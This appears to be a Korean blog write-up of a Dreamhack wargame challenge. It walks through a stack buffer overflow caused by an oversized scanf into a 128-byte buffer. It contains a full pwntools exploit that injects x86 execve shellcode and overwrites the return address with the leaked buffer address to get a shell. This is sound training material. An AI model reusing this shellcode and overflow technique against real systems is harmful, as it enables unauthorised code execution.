728x90

풀이

주어진 바이너리를 실행시켜 보면 어떤 값이 나오고 입력을 받는다. 소스코드를 확인해보자. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

코드의 main함수를 살펴보면 프린트된 값이 bufer의 주소값인 것을 확인할 수 있다. 이때 주의 깊게 살펴야 되는 부분이 buf 크기가 0x80(128)으로 지정되어 있는데 scanf를 통해서 입력받는 buf의 크기는 141까지 가능하다. 이 부분을 buffer overflow를 발생시킨다. 

 

우리는 shell을 얻어서 flag를 확인해야한다. 이전의 쉘코드 강의에서 나왔던 execve 셸코드를 실행시킬 수 있으면 shell을 얻을 수 있을 것 같다.

buf에 셸코드를 입력하고 return address를 buf 주소로 조작한다면 셸코드 실행이 가능할 것 같다.

 

<스택프레임>

 

위 내용으로 익스플로잇 코드를 작성해보았다.

from pwn import *         

p = remote('host3.dreamhack.games', 19436)

p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"A" * 106

payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

총 132byte를 채워야하는데, 쉘코드가 26byte이기 때문에 나머지는 A로 채웠다. 그리고 먼저 저장해둔 버퍼 주소를 little endian으로 변환시켜 붙여 payload를 완성했다.

코드를 실행시키면 shell을 얻을 수 있고 flag를 읽을 수 있다.

 

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11

+ Recent posts